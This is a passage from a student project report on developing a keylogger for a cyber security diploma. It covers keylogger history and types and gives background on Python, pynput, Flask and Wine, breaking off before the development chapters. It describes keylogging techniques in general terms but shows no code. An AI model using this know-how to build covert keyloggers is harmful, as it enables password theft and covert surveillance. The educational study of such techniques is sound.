PROJECT REPORT

ON THE TOPIC
DEVELOPMENT AND IMPLEMENTATION OF
KEYLOGGER
SUBMITTED IN PARTIAL FULFILLMENT OF THE REQUIREMENTS FOR THE
AWARD OF

PG DIPLOMA IN CYBER SECURITY

GOVERNMENT POLYTECHNIC COLLEGE GHAZIABAD

Uttar Pradesh-201001
(2023-24)

SUBMITTED TO
BOARD OF TECHNICAL
EDUCATION UTTER PRADESH,
LUCKNOW

GUIDED BY
MS. FATEMA SIDDIQUA

SUBMITTED BY

PRASHANT KUMAR Enrollment No. E23110111500023

SHIVANSH KUMAR Enrollment No. E23110111500006
SUNIL KUMAR VISHWAKARMA Enrollment No. E23110111500020
KM MANSI SHARMA Enrollment No. E23110111500018
 CERTIFICATE
GOVERNMENT POLYTECHNIC COLLEGE GHAZIABAD

This is to certify that this project reported and titled DEVELOPMENT AND
IMPLEMENTATION OF KEYLOGGER submitted by Prashant Kumar, Shivansh
Kumar, Sunil Kumar Vishwakarma and Km Mansi Sharma in partial full film and of the
requirement of Diploma in Cyber Security is a record of the work carried out by him
under my servision and guidance it is further certified that the matter embedded on
this report has not been submitted elsewhere for the aware fo any other degree or
diploma.

Certified By Guided By

2
 DECLARATION
We hereby declare that this project work entitled “ DEVELOPMENT AND
IMPLEMENTATION OF KEYLOGGER ” has been prepared by us during 2023-
24 under the guidance of “ Ms. Siddiqua Fatema”, Department of Information
Technology, Government Polytechnic College Ghaziabad, in the partial fulfillment
of Post Graduate Diploma in Cyber Security prescribed by college.

We also declare that this project is the outcome of our own efforts, that is not
been submitted by any other university for the award of any degree.

3
 AKNOWLEDGEMENT

We would like to express our special thanks of gratitude to our project guide MS.
FATEMA SIDDIQUA who gave us the golden opportunity to do this wonderful project on the
topic, DEVELOPMENT AND IMPLEMENTATION OF KEYLOGGER, which also helped us
in doing a lot of research and we came to know about so many new things we are really
thankful to her.
Secondly we would also like to thank our parents who helped u s with money and
support a lot in finalizing this project within the limited time frame.

Date: 07-August-2024 Prashant Kumar

Shivansh Kumar
Sunil Kumar Vishwakarma
Km Mansi Sharma
PG Diploma in Cyber Security
2nd Semester

4
 PREFACE
This project is submitted to Ms. Siddiqua Fatema. This project has been made
in Kali Linux OS and Python was used to develop the Keylogger. It has been tried to
make this project error free but still some may be let so please avoid those mistakes.

We think reader of the project will ignore our small mistakes. He/She will allow us to
put forward our concepts and understanding of the project in practical form.

We will feel great if any of person reading document will be denefited a bit by my work.

…………….Thanking You

5
 INDEX

Chapter-1 : Intorduction…………………………………………………….……………………07-11

Chapter-2 : Litreture Survay……………………………………………………………………..12-30

Chapter-3 : Development of keylogger using python………………...…………………… 31-41

Chapter-4 : Implementation of keylogger……………………………………………………...42-48

Chapter-5 : Uses and Misuses of keyloggers………………………………………………….49-55

Conclusion……………………………………………………………………………………………56

References………………………………………………………..…………………………………...57

6
 Chapter-1:Introduction
Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of
recording (logging) the keys struck on a keyboard, typically covertly, so that a person using the
keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person
operating the logging program. A keystroke recorder or keylogger can be either software or hardware.
While the programs themselves are legal, with many designed to allow employers to oversee the
use of their computers, keyloggers are most often used for stealing passwords and
other confgidential information. Keystroke logging can also be utilized to monitor activities of
children in schools or at home and by law enforcement officials to investigate malicious usage.
Keylogging can also be used to study keystroke dynamics or human-computer interaction.
Numerous keylogging methods exist, ranging from hardware and software-based approaches to
acoustic cryptanalysis.
In the mid-1970s, the Soviet Union developed and deployed a hardware keylogger
targeting typewriters. Termed the "selectric bug", it measured the movements of the print head of IBM
Selectric typewriters via subtle influences on the regional magnetic field caused by the rotation and
movements of the print head. An early keylogger was written by Perry Kivolowitz and posted to the
Usenet newsgroup net.unix-wizards, net.sources on November 17, 1983. The posting seems to be a
motivating factor in restricting access to /dev/kmem on Unix systems. The user-mode program
operated by locating and dumping character lists (clients) as they were assembled in the Unix kernel.
In the 1970s, spies installed keystroke loggers in the US Embassy and Consulate buildings
in Moscow. They installed the bugs in Selectric II and Selectric III electric typewriters.
Soviet embassies used manual typewriters, rather than electric typewriters, for classified
information apparently because they are immune to such bugs. As of 2013, Russian special
services still use typewriters.

Types of Keyloggers :-

1.1 : Hardware based Keyloggers :-

Hardware-based keyloggers do not depend upon any software being installed as
they exist at a hardware level in a computer system.

1.1.1 : Firmware Based Keyloggers :- BIOS-level firmware that handles keyboard events can be
modified to record these events as they are processed. Physical and/or root-level access is required to
the machine, and the software loaded into the BIOS needs to be created for the specific hardware that
it will be running on.

7
1.1.2 : Keyboard Hardware Keylogger :- Hardware keyloggers are used for keystroke logging
utilizing a hardware circuit that is attached somewhere in between the computer keyboard and the
computer, typically inline with the keyboard's cable connector. There are also USB connector-based
hardware keyloggers, as well as ones for laptop computers (the Mini-PCI card plugs into the expansion
slot of a laptop). More stealthy implementations can be installed or built into standard keyboards so that
no device is visible on the external cable. Both types log all keyboard activity to their internal memory,
which can be subsequently accessed, for example, by typing in a secret key sequence. Hardware
keyloggers do not require any software to be installed on a target user's computer, therefore not
interfering with the computer's operation and less likely to be detected by software running on it.
However, its physical presence may be detected if, for example, it is installed outside the case as an
inline device between the computer and the keyboard. Some of these implementations can be
controlled and monitored remotely using a wireless communication standard.

1.1.3 : Wireless keyboard and mouse sniffers :- These passive sniffers collect packets of data being
transferred from a wireless keyboard and its receiver. As encryption may be used to secure the
wireless communications between the two devices, this may need to be cracked beforehand if the
transmissions are to be read. In some cases, this enables an attacker to type arbitrary commands into
a victim's computer.

1.1.4 : Keyboard Overlays :- Criminals have been known to use keyboard overlays on ATMs to
capture people's PINs. Each keypress is registered by the keyboard of the ATM as well as the
criminal's keypad that is placed over it. The device is designed to look like an integrated part of the
machine so that bank customers are unaware of its presence.

1.1.5 : Acoustic Keyloggers :- Acoustic cryptanalysis can be used to monitor the sound created by
someone typing on a computer. Each key on the keyboard makes a subtly different acoustic signature
when struck. It is then possible to identify which keystroke signature relates to which keyboard
character via statistical methods such as frequency analysis. The repetition frequency of similar
acoustic keystroke signatures, the timings between different keyboard strokes and other context
information such as the probable language in which the user is writing are used in this analysis to map
sounds to letters. A fairly long recording (1000 or more keystrokes) is required so that a large
enough sample is collected.

1.1.6 : Electromagnetic emissions :- It is possible to capture the electromagnetic emissions of a

8
wired keyboard from up to 20 metres (66 ft) away, without being physically wired to it. In 2009, Swiss
researchers tested 11 different USB, PS/2 and laptop keyboards in a semi-anechoic chamber and
found them all vulnerable, primarily because of the prohibitive cost of adding shielding during
manufacture. The researchers used a wide-band receiver to tune into the specific frequency of the
emissions radiated from the keyboards.

1.1.7 : Optical Surveillance :- Optical surveillance, while not a keylogger in the classical sense, is
nonetheless an approach that can be used to capture passwords or PINs. A strategically placed
camera, such as a hidden surveillance camera at an ATM, can allow a criminal to watch a PIN or
password being entered.

1.1.8 : Physical evidence :- For a keypad that is used only to enter a security code, the keys which
are in actual use will have evidence of use from many fingerprints. A passcode of four digits, if the four
digits in question are known, is reduced from 10,000 possibilities to just 24 possibilities (104 versus 4!
[factorial of 4]). These could then be used on separate occasions for a manual "brute force attack".

1.1.9 : Smartphone Sensors :- Researchers have demonstrated that it is possible to capture the
keystrokes of nearby computer keyboards using only the commodity accelerometer found in
smartphones. The attack is made possible by placing a smartphone near a keyboard on the same
desk. The smartphone's accelerometer can then detect the vibrations created by typing on the
keyboard and then translate this raw accelerometer signal into readable sentences with as much as 80
percent accuracy. The technique involves working through probability by detecting pairs of keystrokes,
rather than individual keys. It models "keyboard events" in pairs and then works out whether the pair of
keys pressed is on the left or the right side of the keyboard and whether they are close together or far
apart on the QWERTY keyboard. Once it has worked this out, it compares the results to a preloaded
dictionary where each word has been broken down in the same way. Similar techniques have also
been shown to be effective at capturing keystrokes on touchscreen keyboards, while in some cases, in
combination with gyroscope or with the ambient-light sensor.

1.1.10 : Body Keyloggers :- Body keyloggers track and analyze body movements to determine which
keys were pressed. The attacker needs to be familiar with the keys layout of the tracked keyboard to
correlate between body movements and keys position. Tracking audible signals of the user' interface
(e.g. a sound the device produce to informs the user that a keystroke was logged) may reduce the
complexity of the body keylogging algorithms, as it marks the moment at which a key was pressed.

9
1.2 : Software Based Keyloggers :-
A software-based keylogger is a computer program designed to record any input
from the keyboard. Keyloggers are used in IT organizations to troubleshoot technical problems with
computers and business networks. Families and businesspeople use keyloggers legally to monitor
network usage without their users' direct knowledge. Microsoft publicly stated that Windows 10 has a
built-in keylogger in its final version "to improve typing and writing services". However, malicious
individuals can use keyloggers on public computers to steal passwords or credit card information. Most
keyloggers are not stopped by HTTPS encryption because that only protects data in transit between
computers; software-based keyloggers run on the affected user's computer, reading keyboard inputs
directly as the user types.
From a technical perspective, there are several categories:

1.2.1 : Hypervisor-based :- The keylogger can theoretically reside in a malware hypervisor running
underneath the operating system, which thus remains untouched. It effectively becomes a virtual
machine. Blue Pill is a conceptual example.

1.2.2 : Kernelbased :- A program on the machine obtains root access to hide in the OS and intercepts
keystrokes that pass through the kernel. This method is difficult both to write and to combat. Such
keyloggers reside at the kernel level, which makes them difficult to detect, especially for user-mode
applications that do not have root access. They are frequently implemented as rootkits that subvert the
operating system kernel to gain unauthorized access to the hardware. This makes them very powerful.
A keylogger using this method can act as a keyboard device driver, for example, and thus gain access
to any information typed on the keyboard as it goes to the operating system.

1.2.3 : API Based :- These keyloggers hook keyboard APIs inside a running application. The keylogger
registers keystroke events as if it was a normal piece of the application instead of malware. The
keylogger receives an event each time the user presses or releases a key. The keylogger simply
records it.
Windows APIs such as GetAsyncKeyState(), GetForegroundWindow(), etc. are used to poll the
state of the keyboard or to subscribe to keyboard events. A more recent example simply polls
the BIOS for pre-boot authentication PINs that have not been cleared from memory.

1.2.4 : Form Grabbing Based : Form grabbing-based keyloggers log Web form submissions by
recording the form data on submit events. This happens when the user completes a form and submits
it, usually by clicking a button or pressing enter. This type of keylogger records form data before it is
passed over the Internet.
10
1.2.5 : Javascript Based : A malicious script tag is injected into a targeted web page, and listens for
key events such as onKeyUp(). Scripts can be injected via a variety of methods, including cross-site
scripting, man-in-the-browser, man-in-the-middle, or a compromise of the remote website.

1.2.6 : Memory Injection Based : Memory Injection (MitB)-based keyloggers perform their logging
function by altering the memory tables associated with the browser and other system functions. By
patching the memory tables or injecting directly into memory, this technique can be used by malware
authors to bypass Windows UAC (User Account Control). The Zeus and SpyEye trojans use this
method exclusively. Non-Windows systems have protection mechanisms that allow access to locally
recorded data from a remote location.

11
 Chapter-2 : Literature Survey
2.1 : Python :-
Python is a high-level, interpreted programming language that has gained immense
popularity since its inception. Created by Guido van Rossum and first released in 1991, Python is
known for its simplicity, readability, and versatility. It is widely used across various fields, including
web development, data science, artificial intelligence, automation, and scientific computing. This
essay will explore the history, features, applications, community support, challenges, and future
prospects of Python.
Python's development began in the late 1980s as a successor to the ABC programming
language, focusing on simplicity and ease of use. Guido van Rossum aimed to create a language
that retained the strengths of ABC while addressing its limitations. The name "Python" was
inspired by the British comedy series "Monty Python's Flying Circus," reflecting Van Rossum's
desire to make programming enjoyable.

The first official release of Python, version 0.9.0, occurred in February 1991. This version
included essential features such as exception handling, functions, and basic data types like lists
and dictionaries. Over the years, Python underwent significant changes, with major versions
introducing new features and enhancements.

Python 2.0 was released in 2000, introducing list comprehensions, garbage collection, and
support for Unicode. However, the transition to Python 3.0, which was released in 2008, marked a
significant turning point in the language's evolution. Python 3 focused on improving code
readability and eliminating redundant features, but it also introduced backward-incompatible
changes. The transition from Python 2 to Python 3 was officially completed in January 2020,
marking the end of support for Python 2.

Python is renowned for its clean and readable syntax, which makes it an ideal language for
beginners and experienced developers alike. Its design philosophy emphasizes code readability
and simplicity, enabling programmers to express concepts in fewer lines of code than might be
required in other languages.

One of Python's standout features is its support for multiple programming paradigms,
including procedural, object-oriented, and functional programming. This flexibility allows
developers to choose the best approach for their specific projects. Python also supports dynamic
typing, which means that variable types are determined at runtime, offering greater flexibility in
coding.

12
 The extensive standard library is another key feature of Python. It provides modules and
functions for various tasks, including file handling, regular expressions, and networking. This rich
library allows developers to accomplish many tasks without writing code from scratch, significantly
speeding up the development process.

Moreover, Python has a vast ecosystem of third-party libraries and frameworks. This
ecosystem includes libraries for web development, data analysis, machine learning, and more.
Popular frameworks like Django and Flask make web development more efficient, while libraries
such as Pandas, NumPy, and Matplotlib are essential tools for data science.

Python's versatility makes it suitable for a wide range of applications across different
domains. In web development, Python is widely used to build dynamic and interactive websites.
Frameworks such as Django and Flask enable developers to create robust web applications with
minimal effort. Django is known for its "batteries-included" philosophy, providing a comprehensive
set of tools for building web applications, while Flask offers a more minimalistic approach, allowing
for greater flexibility.

In the field of data science, Python has emerged as the language of choice for many data
analysts and scientists. Its ability to handle large datasets, coupled with powerful libraries like
Pandas and NumPy, makes it an excellent tool for data manipulation and analysis. Python's data
visualization capabilities, through libraries like Matplotlib and Seaborn, enable users to create
informative and aesthetically pleasing visual representations of data.

Artificial intelligence and machine learning have also become significant areas of
application for Python. The language's simplicity and ease of use allow researchers to focus on
algorithm development rather than the complexities of coding. Libraries like TensorFlow, Keras,
and scikit-learn have made it easier for developers to implement machine learning models and
deep learning architectures.

Python is also widely used in automation and scripting. Its ability to interact with the
operating system and manipulate files makes it ideal for automating repetitive tasks. System
administrators often use Python scripts to manage systems and perform routine maintenance
tasks efficiently.

In scientific computing, Python is employed for simulations, data analysis, and visualization
in various fields, including physics, biology, and engineering. Libraries such as SciPy provide
advanced mathematical functions and algorithms, making Python a valuable tool for researchers
in these domains.

Game development is another area where Python has found its niche. Although it may not

13
be the primary choice for high-performance gaming engines, libraries like Pygame allow
developers to create simple games quickly. This makes Python a popular choice for educational
purposes and smaller projects.

Moreover, Python has gained traction in the finance industry, where it is used for
quantitative analysis, algorithmic trading, and risk management. Its ability to handle complex
calculations and data manipulation makes it a valuable tool for financial analysts and traders.

One of Python's most significant strengths is its vibrant community. With millions of users
worldwide, the Python community fosters collaboration and knowledge sharing. The Python
Software Foundation (PSF) oversees the language's development and promotes its use across
various sectors.

The community actively contributes to Python's growth through online forums, conferences,
and open-source projects. Events like PyCon bring together developers from diverse backgrounds
to share ideas, showcase projects, and learn from one another. These gatherings promote
networking and collaboration, which help advance the language and its ecosystem.

Extensive documentation and numerous online resources are available to assist

newcomers in learning Python. Many tutorials, courses, and forums are dedicated to helping
individuals navigate their Python learning journey. This supportive environment encourages
collaboration and the sharing of knowledge, making Python accessible to learners at all levels.

Python's adoption in various industries has been remarkable. Tech giants like Google,
Facebook, and Netflix leverage Python for different applications, from web services to data
analysis and machine learning. Its versatility allows companies to maintain a cohesive technology
stack, simplifying development and integration.

In the field of education, Python is commonly used as an introductory language for

computer science courses. Its straightforward syntax and readability make it an excellent choice
for teaching programming concepts. Many educational institutions have adopted Python as the
primary language for their curriculum, fostering a new generation of programmers.

The scientific and academic communities also embrace Python due to its accessibility and
powerful libraries. Researchers use Python for data analysis, simulations, and algorithm
development, contributing to advancements in fields like bioinformatics, astronomy, and
environmental science.

Despite its numerous advantages, Python does face some challenges. One of the primary
criticisms is its performance compared to compiled languages like C or Java. Python's interpreted
nature can lead to slower execution times, particularly in computationally intensive applications.
14
 However, developers often use optimization techniques and alternative implementations to
mitigate these performance issues.

The Global Interpreter Lock (GIL) is another limitation of Python that can affect multi-
threaded applications. The GIL prevents multiple native threads from executing Python bytecodes
simultaneously, which can hinder performance in CPU-bound tasks. Developers often use multi-
processing or asynchronous programming to work around this limitation.

Additionally, while Python is known for its extensive libraries, some developers may find it
challenging to keep track of the multitude of available libraries and frameworks. The rapid pace of
development can lead to fragmentation, making it essential for developers to stay updated on best
practices and library versions.

The future of Python looks promising, with continued growth and adoption across various
sectors. As technology evolves, Python's adaptability ensures its relevance in emerging fields
such as artificial intelligence, machine learning, and data science. The ongoing development of
the language, with new features and enhancements, will help maintain its competitive edge.

The rise of cloud computing and microservices architecture presents new opportunities for
Python. Its lightweight nature and ease of integration with other technologies make it well-suited
for developing cloud-based applications and services. As more organizations adopt cloud
solutions, Python is likely to remain a popular choice for building scalable and efficient
applications.

Furthermore, the increasing focus on data-driven decision-making across industries

reinforces the demand for Python in data science and analytics. With the continuous expansion of
data and the need for sophisticated analysis, Python's capabilities in handling and processing
large datasets will only become more valuable.

The emergence of new tools and frameworks will continue to enhance Python's ecosystem.
As the community evolves, developers will likely create innovative libraries that address new
challenges and leverage emerging technologies.

2.2 : Pynput :-
Pynput is a Python library designed for controlling and monitoring input devices, such as the
keyboard and mouse. It provides a simple and user-friendly interface for developers to create
applications that can listen to, control, or simulate keyboard and mouse events. This makes it
particularly useful for automation tasks, creating user interfaces, and developing applications that
require input device management.
15
 Developed as an open-source project, pynput is built on top of lower-level libraries and
frameworks to provide a consistent and high-level API. Its design philosophy emphasizes
simplicity, usability, and extensibility, making it accessible to both novice and experienced
developers. In this overview, we will delve into the features, functionalities, applications,
installation procedures, limitations, and future prospects of the pynput library.

The pynput library was created to address the growing need for Python developers to
interact with input devices in a straightforward manner. As automation and scripting became more
prevalent in software development, the demand for libraries that facilitate keyboard and mouse
control increased. This library emerged as a response to that demand, offering a high-level
interface that abstracts away the complexities associated with lower-level input device
management.

Since its inception, pynput has gained traction within the Python community due to its ease
of use, comprehensive documentation, and active development. The library is continually updated
to address bugs, improve performance, and add new features based on user feedback. This
commitment to ongoing development ensures that pynput remains a relevant and effective tool for
input device management in Python.

Pynput offers a range of features that make it a powerful tool for managing keyboard and
mouse inputs. Below are some of the key features that define the library:

Pynput is designed to be cross-platform, functioning seamlessly on major operating

systems, including Windows, macOS, and Linux. This compatibility ensures that developers can
write applications that will work across different environments without needing to modify their
codebase significantly.

The library allows for comprehensive keyboard control, enabling developers to listen for
specific key events, monitor key states, and simulate key presses. This functionality is beneficial
for applications that require keyboard input simulation, such as automated testing tools or custom
keyboard shortcuts.

Pynput also provides robust mouse control capabilities, including the ability to listen for
mouse movements, clicks, and scroll events. Developers can monitor mouse states and simulate
mouse actions, which can be useful for automating repetitive tasks, creating macro systems, or
developing user-friendly interfaces.

The library supports the use of event listeners that can trigger specific actions in response
to input events. This feature allows developers to build applications that respond dynamically to
user interactions, enhancing user experience and interactivity.

16
 One of the standout features of pynput is its simple and intuitive API. The library is
designed to minimize the learning curve for new users, allowing developers to focus on building
their applications rather than grappling with complex syntax or intricate setups.

Pynput is equipped with threading support, allowing developers to run input listeners in
separate threads. This capability is crucial for applications that require non-blocking input
monitoring, enabling developers to create responsive applications without sacrificing performance.

The library is highly customizable, enabling developers to tailor it to their specific needs.
Users can define custom callbacks for keyboard and mouse events, allowing for flexible and
dynamic application behavior. Additionally, the extensibility of the library makes it easy to integrate
with other libraries and frameworks.

Installing pynput is straightforward and can be done using Python's package manager, pip.
The library is available on the Python Package Index (PyPI), making it easily accessible to
developers. Once installed, developers can quickly import the library into their projects and start
building applications that leverage its capabilities.

To ensure a smooth installation process, users are encouraged to keep their Python
environment up to date and to follow best practices for managing dependencies. Virtual
environments are recommended to isolate project dependencies and avoid conflicts with other
installed packages.

Pynput's capabilities make it suitable for a wide range of applications across various
domains. Below are some of the notable applications where pynput is commonly used:

One of the most popular use cases for pynput is the development of automation tools.
Developers can create scripts that simulate keyboard and mouse actions to automate repetitive
tasks, such as data entry, form filling, and screen navigation. These automation tools can
significantly enhance productivity and reduce the potential for human error.

In the gaming industry, pynput can be used to create custom input handling systems or to
develop tools that monitor and enhance player input. This can include creating macros or
implementing custom keybindings, allowing gamers to optimize their gameplay experience.

Pynput can play a crucial role in developing user interfaces that require advanced input
handling. Applications that rely on keyboard shortcuts, mouse gestures, or other input techniques
can benefit from the library's capabilities, enabling developers to create more interactive and user-
friendly applications.

Quality assurance and testing teams can use pynput to automate input for testing
applications. By simulating user interactions, testers can verify that applications behave as
17
expected and identify any issues before deployment.

Developers can create accessibility tools that help users with disabilities interact with their
computers more easily. By providing alternative input methods or custom shortcuts, pynput can
enhance the user experience for individuals with specific needs.

Due to its high-level abstraction, pynput may not be suitable for applications that require
extremely high performance or low latency. For critical applications where speed is paramount,
developers may need to consider lower-level libraries or frameworks.

Because pynput allows for keyboard and mouse control, there are inherent security
concerns associated with its use. Malicious actors could potentially use the library to create
keyloggers or other intrusive applications. It is essential for developers to use pynput responsibly
and ethically, ensuring that their applications respect user privacy and consent.

While the library offers comprehensive documentation for basic features, some advanced
functionalities may not be as thoroughly covered. Users may need to rely on community
resources, forums, or experimentation to fully explore the library's capabilities.

Pynput benefits from a supportive and active community. The library is open source, and
contributions from developers worldwide help improve and expand its features. Users can access
the library's source code on platforms like GitHub, where they can report issues, suggest
enhancements, or contribute to ongoing development.

Forums, discussion groups, and online communities dedicated to Python and its libraries
provide a wealth of resources for users seeking assistance or advice. Many developers share
their experiences, best practices, and insights on using pynput effectively, fostering a collaborative
learning environment.

The future of pynput looks promising, with potential for continued growth and development.
As automation and input device management become increasingly relevant in various industries,
the demand for libraries like pynput is likely to rise.

Developers may continue to enhance the library by introducing new features, optimizing
performance, and improving documentation. The evolving landscape of technology may also
inspire new use cases for pynput, particularly as more applications rely on user interaction and
automation.

Additionally, as Python itself continues to evolve, pynput will likely adapt to incorporate new
features and enhancements in the language, ensuring that it remains relevant and effective.

18
2.3 : Flask :-
Flask is a micro web framework written in Python. It is classified as a microframework because it
does not require any particular tools or libraries. Flask is designed to be lightweight and modular,
allowing developers to choose their tools and libraries for their projects. Unlike more monolithic
frameworks, Flask does not come with built-in form validation, database abstraction, or other
components. Instead, it provides the essentials to build web applications and relies on third-party
extensions to add additional functionality.

Flask is built on the Werkzeug WSGI toolkit and the Jinja2 templating engine. Werkzeug is
a comprehensive WSGI library that provides various utilities and functions for handling HTTP
requests and responses, managing sessions, and routing. Jinja2 is a templating engine that
allows developers to generate dynamic HTML by combining templates with data.

One of the core principles of Flask is its simplicity and flexibility. The framework gives
developers the freedom to structure their applications as they see fit. This means that while Flask
itself provides the basic tools for routing and handling requests, it does not impose a specific way
of organizing application code or managing data.

Routing in Flask is accomplished using decorators. Routes are defined by associating

URLs with functions that handle requests to those URLs. These functions are called view
functions or route handlers. The route decorators allow developers to specify which URL patterns
should trigger specific functions. Flask supports various HTTP methods such as GET, POST, PUT,
DELETE, and others, which can be specified in the route decorators.

Flask's request and response handling is straightforward. The request object provides
access to incoming request data, including form data, query parameters, and cookies. The
response object represents the data that will be sent back to the client. Flask allows developers to
return responses in various formats, including plain text, HTML, JSON, and more.

Flask also supports middleware and hooks for extending the functionality of the framework.
Middleware can be used to process requests before they reach the view functions or to modify
responses before they are sent to the client. Flask provides several hooks that allow developers to
execute code at specific points in the request-response cycle, such as before a request is
processed or after a response is generated.

Template rendering in Flask is managed through the Jinja2 templating engine. Jinja2 allows
developers to create HTML templates with dynamic content. Templates can include variables,
control structures (such as loops and conditionals), and template inheritance, which helps to
create a consistent look and feel across different pages of an application.
19
 Flask supports sessions and cookies for managing user-specific data across requests.
Sessions allow developers to store data that persists between requests, such as user
authentication information or preferences. Flask provides mechanisms to securely sign and
encrypt session data to prevent tampering.

Flask is often used in conjunction with other libraries and extensions to add functionality
such as database integration, form validation, and authentication. Extensions are available for a
wide range of tasks, including connecting to databases (e.g., SQLAlchemy for ORM support),
handling user authentication (e.g., Flask-Login), and managing form submissions (e.g., Flask-
WTF).

Testing is an essential part of Flask development. Flask provides a test client that allows
developers to simulate HTTP requests and inspect responses. This makes it possible to write unit
tests and integration tests for Flask applications. The test client can be used to verify that routes
are functioning correctly and that application logic is working as expected.

Deployment of Flask applications can be done using various tools and services. Flask
applications can be deployed on traditional web servers, such as Apache or Nginx, or on cloud
platforms, such as Heroku or AWS. The WSGI standard, which Flask adheres to, ensures
compatibility with a wide range of deployment options.

Flask's documentation is extensive and well-maintained, providing detailed information on

various aspects of the framework. The official Flask documentation includes guides on getting
started, tutorials, API references, and best practices for developing Flask applications.

Despite its simplicity, Flask is a powerful framework capable of handling a wide range of
web development tasks. Its flexibility and extensibility make it a popular choice for developers who
want to build web applications with precise control over the components and architecture.

Flask's development philosophy emphasizes minimalism and modularity. This design

choice allows developers to start with a basic framework and incrementally add features as
needed. It encourages developers to make conscious decisions about the tools and libraries they
use, promoting a deeper understanding of the technologies involved.

Flask has a vibrant community that contributes to its ecosystem through extensions,
plugins, and libraries. The community actively maintains and develops these extensions, providing
additional functionality and keeping pace with evolving web development practices.

In addition to its core features, Flask has a range of configuration options that allow
developers to customize various aspects of the framework. Configuration settings can be
specified using configuration files or directly within the application code. These settings can
20
control aspects such as debugging mode, database connections, and session management.

Flask's design allows for the creation of RESTful APIs and web services. By defining routes
and handling HTTP methods, developers can build APIs that respond to requests with JSON or
other data formats. This makes Flask a suitable choice for building backend services and
integrating with frontend applications or third-party services.

Security is an important consideration in web development, and Flask provides

mechanisms to help developers build secure applications. For example, Flask includes support for
secure cookie handling and CSRF protection. Developers can also use extensions and third-party
libraries to add additional security features, such as user authentication and authorization.

Flask's modular approach to web development means that it can be used for a variety of
projects, from simple single-page applications to complex multi-page web applications. Its
flexibility allows developers to choose the best tools for their specific use cases and integrate
them seamlessly into their Flask applications.

In summary, Flask is a versatile and lightweight web framework for Python that provides the
essentials for building web applications while allowing developers to choose additional
components and libraries. Its simplicity, flexibility, and extensibility make it a popular choice for a
wide range of web development projects. Whether you're building a small web app or a large-
scale service, Flask's design principles and ecosystem offer the tools and flexibility needed to
create robust and maintainable applications.

2.3 : Wine :-

WineLoader is a critical part of the Wine project, which is a compatibility layer designed to
enable Windows applications to run on Unix-like operating systems such as Linux and macOS.
WineLoader specifically handles the loading and initialization of Windows applications within the
Wine environment, making it possible for users to execute and interact with these applications as
if they were running on a native Windows system. To understand the role and function of
WineLoader, it's important to explore its interactions within the broader Wine framework, its
architecture, and its practical implications.

WineLoader operates as an intermediary between the Windows application and the

underlying Linux operating system. When a Windows executable is launched, WineLoader is
responsible for interpreting and managing the execution process. The process begins with
WineLoader parsing the executable file, which involves examining the file format to ensure
compatibility with the Wine environment. This is analogous to how a Windows system's loader
would process an executable file, but with WineLoader translating the necessary components into
21
a format that Linux can understand.

One of the key functions of WineLoader is to set up the application’s environment. This
includes initializing the necessary memory spaces and preparing the virtual environment that
simulates aspects of the Windows operating system. WineLoader configures the environment by
setting up environment variables, paths, and system libraries that the application expects to find.
This setup process ensures that the application runs smoothly and that it can access the
resources it needs to function correctly.

WineLoader also plays a crucial role in managing the loading of dynamic link libraries
(DLLs). Windows applications often rely on a number of DLLs to provide additional functionality
and support. WineLoader is responsible for locating these DLLs, loading them into the
application’s memory space, and ensuring that they are properly initialized. This process involves
resolving dependencies between DLLs and managing their interactions to ensure that the
application functions as intended.

When WineLoader has finished setting up the environment and loading the necessary
components, it proceeds to initialize the application itself. This involves calling the application’s
entry point and starting its execution. During this phase, WineLoader ensures that the application
receives control in a manner consistent with how it would on a Windows system. This includes
handling initial setup routines and ensuring that the application’s main loop begins running
correctly.

While the application is running, WineLoader continues to manage its interactions with the
Wine environment. It handles system calls made by the application, translating them into POSIX-
compliant calls that the Linux kernel can understand. This translation is essential for enabling the
application to perform tasks such as file I/O, network communications, and process management
within the Linux environment.

WineLoader also manages the interaction between the application and Wine's virtual
registry. Windows applications often read from and write to the Windows registry, which stores
configuration settings and other important information. WineLoader ensures that these registry
operations are translated into a format that the Wine virtual registry can handle, allowing the
application to function correctly.

In addition to handling standard operations, WineLoader is responsible for managing

various types of system and application events. This includes processing input events, managing
window messages, and handling other interactions between the application and the user. By
translating these events into a form that the Wine environment can understand, WineLoader helps

22
to provide a seamless experience for the user.

WineLoader also interacts with the Wine Server, which is a separate component
responsible for coordinating interactions between Wine applications and the Linux operating
system. The Wine Server manages tasks such as file access, process creation, and inter-process
communication. WineLoader communicates with the Wine Server to ensure that the application’s
requests are handled appropriately and that the application receives the necessary resources and
services.

Configuring and optimizing WineLoader can significantly impact the performance and
compatibility of Windows applications running on Linux. Wine provides various tools and utilities
for managing its configuration, including Winecfg, which allows users to adjust settings for
individual applications and configure Wine’s behavior. Winecfg enables users to specify which
version of Windows an application should emulate, adjust library overrides, and manage other
aspects of the Wine environment.

Wine also supports the use of Wine prefixes, which are isolated environments that allow
users to run different applications with different configurations. Each Wine prefix contains its own
set of settings, libraries, and registry entries, allowing users to manage multiple applications with
distinct configurations without interference. WineLoader operates within the context of a specific
Wine prefix, ensuring that the application’s environment is consistent with the settings defined for
that prefix.

For troubleshooting and debugging, WineLoader provides various logs and diagnostic
information that can help identify issues with application execution. Wine generates log files that
capture detailed information about errors, missing components, and other problems that may
arise. These logs can be invaluable for diagnosing issues and finding solutions. Additionally, the
Wine application database (AppDB) provides information about known issues and compatibility
status for a wide range of Windows applications, offering guidance for resolving problems.

In terms of extensions and additional tools, WineLoader can be enhanced through various
utilities and extensions that provide extra functionality. Tools such as Winetricks simplify the
process of installing additional libraries and components required by certain applications.
Winetricks can automate the installation of common components and configurations, making it
easier to get applications up and running.

PlayOnLinux is another graphical frontend for Wine that offers an intuitive interface for
managing Wine configurations and installations. It provides a user-friendly way to handle Wine
prefixes, install applications, and manage settings, making it accessible to users who may be less

23
familiar with the command-line interface.

CrossOver is a commercial product based on Wine that offers enhanced features, support,
and a more polished user experience. It is aimed at users who need a more robust solution for
running Windows applications, and it provides additional tools and support options not available in
the open-source version of Wine.

Wine-Staging is a development branch of Wine that includes experimental features and

patches not yet integrated into the stable release. It allows users to test and utilize the latest
improvements and fixes before they become part of the main Wine release.

Overall, WineLoader is a fundamental component of the Wine project, providing essential

functionality for running Windows applications on Linux. It handles the loading, initialization, and
management of applications within the Wine environment, ensuring that they operate correctly
and interact with the Linux operating system. Through its integration with other Wine components,
its support for configuration and optimization, and its role in troubleshooting and debugging,
WineLoader plays a crucial role in making it possible for users to run Windows applications
seamlessly on Unix-like systems.

2.4 : PyInstaller :-
